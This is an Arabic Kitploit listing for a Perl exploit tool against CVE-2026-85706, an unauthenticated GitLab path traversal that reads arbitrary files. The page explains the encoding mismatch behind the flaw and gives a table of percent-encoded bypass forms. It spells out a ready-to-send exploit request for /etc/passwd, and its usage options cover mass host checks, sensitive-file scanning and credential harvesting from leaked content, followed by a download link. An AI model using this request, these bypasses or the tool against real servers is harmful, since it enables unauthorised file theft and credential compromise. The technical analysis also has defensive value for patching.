Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-85706 — Perl PoC يستغل CVE-2026-85706، وهو ثغرة اجتياز مسار في GitLab بدون مصادقة تتيح قراءة الملفات بشكل عشوائي، مع فحص جماعي وجمع بيانات الاعتماد. | Kitploit
أدوات/GitHubGitHub/gabrielunknown/cve-2026-85706
ماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتأمن الويباختبار الاختراقالفريق الأحمر
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

Perl PoC يستغل CVE-2026-85706، وهو ثغرة اجتياز مسار في GitLab بدون مصادقة تتيح قراءة الملفات بشكل عشوائي، مع فحص جماعي وجمع بيانات الاعتماد.

48منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-85706 — قراءة ملفات عشوائية دون مصادقة في GitLab

CVSS GitLab License MITRE

لأغراض اختبار الاختراق المصرّح به وعمليات الفريق الأحمر فقط.
الاستخدام غير المصرّح به يُعدّ جريمة جنائية. راجع الإشعار القانوني.


نظرة عامة

CVE-2026-85706 هي ثغرة اجتياز مسار (path traversal) بدرجة CVSS 10.0 في إصداري GitLab Community وEnterprise Editions، تتيح لـمهاجم غير مُصادَق تمامًا قراءة ملفات عشوائية من نظام ملفات الخادم عبر طلب HTTP واحد. لا حاجة إلى بيانات اعتماد، ولا رمز، ولا تفاعل من المستخدم.

  • تاريخ الإفصاح: 10 سبتمبر 2026
  • أول استغلال مُلاحَظ: 11 سبتمبر 2026 (خلال 6 ساعات من الإفصاح)
  • أُضيفت إلى CISA KEV: 11 سبتمبر 2026
  • تم إصلاحها في: GitLab 19.1.8 / 19.2.6 / 19.3.2

الإصدارات المتأثرة

الفرعالنطاق المعرّض للثغرةتم الإصلاح في
18.x18.7 → 19.1.719.1.8
19.219.2.0 → 19.2.519.2.6
19.319.3.0 → 19.3.119.3.2

التحليل التقني

سياق البنية

تتكوّن حزمة HTTP في GitLab من ثلاث طبقات:


Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]

Workhorse يعمل كوسيط عكسي ذكي: بالنسبة لبعض نقاط النهاية الخاصة بـ "الرفع" (عمليات الالتزام في المستودع، عمليات الملفات)، يقرأ أجسام الطلبات متعددة الأجزاء (multipart)، ويحفظ بيانات الملف على القرص، ويعيد كتابة الطلب قبل تمريره إلى Puma. والأهم من ذلك، أنه يرفق ترويسة JWT (Gitlab-Workhorse-Api-Request) بكل طلب يمرره عبر الوسيط. ثم يتحقق Rails من صحة هذا الـ JWT (عبر require_gitlab_workhorse!) قبل تنفيذ أي منطق للمعالج.

السبب الجذري — عدم تطابق فك ترميز المسار على ثلاث طبقات

الطبقة 1 — مطابقة مسار Workhorse:
يطابق Workhorse مسارات الطلبات باستخدام تعبير نمطي (regex) مُجمَّع يعمل على سلسلة البايتات الخام المشفرة نسبيًا (percent-encoded). وهو لا يفك ترميز تسلسلات %XX قبل المطابقة.

الطبقة 2 — توجيه Puma/Rack:
يفك Puma ترميز تسلسلات %XX قبل أن يوجّه Grape الطلب. لذا فإن طلبًا إلى /repository/%63ommits يُفك ترميزه إلى /repository/commits ويُوجَّه إلى CommitsController.

الطبقة 3 — قراءة الملف قبل المصادقة:
بمجرد الوصول إلى معالج Rails (الذي يُبلَغ إليه دون JWT الخاص بـ Workhorse لأن Workhorse لم يطابق الطلب أبدًا)، يقرأ المعالج params[:file][:path] من سلسلة الاستعلام ويستدعي:

File.open(params[:file][:path])   # ← happens BEFORE authentication

حيلة التجاوز

من خلال ترميز نسبة مئوية لحرف واحد في مقطع مسار ثابت، يفلت طلب المهاجم من Workhorse دون اكتشاف:

المقطعالأصليصيغة التجاوزالحرف المرمّز
commitscommits%63ommitsc → %63
commitscommits%43ommitsC → %43
repositoryrepository%72epositoryr → %72
filesfiles%66ilesf → %66
(أي)commitscommits/شرطة مائلة لاحقة
(أي)commitscommits.jsonلاحقة Grape

آلية تسريب المحتوى

بعد فتح الملف، يُسرَّب المحتوى عبر محلّل سلسلة الاستعلام في Rack:

Rack::Utils.parse_nested_query(File.read(path))

إذا كان الملف يحتوي على % غير متبوع برقمين سداسي عشري صالحين (وهو أمر شائع في ملفات إعدادات Ruby وCI YAML والسجلات، إلخ)، فإن Rack يرفع:

InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)

يحتوي جسم الاستجابة هذا المكوّن من 400 استجابة على محتوى الملف الخام حتى البايت المخالف وشاملاً له — مما يكشف محتويات الملف للمتصل غير المصادَق عليه.

تُرجع الملفات التي لا تحتوي على تسلسلات % قابلة للاستغلال (مثل /etc/passwd النظيف) خطأ 401 أو خطأ في التحقق من المعاملات بعد القراءة: ويعمل هذا كـ أوراكل لوجود الملف (فالقراءة لا تزال تحدث قبل المصادقة).

بنية طلب الاستغلال

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

تعيين MITRE ATT&CK

التقنيةالمعرّفالتنفيذ في هذا PoC
اكتشاف الملفات والأدلّةT1083يفحص وضع --scan 38 مسارًا حساسًا على الخادم
بيانات الاعتماد في الملفاتT1552.001يستخرج --harvest المفاتيح/الرموز/كلمات المرور من المحتوى المسرَّب

التثبيت

المتطلبات

الوحدةالحزمةالدور
LWP::UserAgentlibwww-perlعميل HTTP (إلزامي)
LWP::Protocol::httpslibwww-perlدعم HTTPS (إلزامي)
URI::Escapeliburi-perlترميز سلسلة الاستعلام (إلزامي)
Term::ANSIColorlibterm-ansicolor-perlمخرجات ملوّنة (اختياري)
JSONlibjson-perlوضع مخرجات JSON (اختياري)
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl

الاستخدام

Usage: exploit.pl [OPTIONS]

Target:
  -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
  -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default — ≤9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 — File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output <FILE>        Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output

Connection:
  -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
  -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
  -r, --retries <N>          Retry count on connection error  [default: 2]
  -A, --user-agent <STR>     Override User-Agent string

فحص سريع مقابل فحص كامل

سريع (افتراضي)كامل (--full)
الطلبات≤9 (1 فحص مسبق + ≤4×2)27+
الخروج المبكرنعم — يتوقف عند أول فرق مؤكدلا — يمسح جميع الأشكال الـ22
معلومات الإصدارلانعم
أشكال التجاوز4 أشكال تمثيلية من Files APIجميع الأشكال الـ22 (Commits + Files API)
الأفضل لـالاستطلاع السريع، قوائم المضيفين الكبيرةتقارير اختبار الاختراق، التحضير لـ --file/--scan
تنزيل الأداة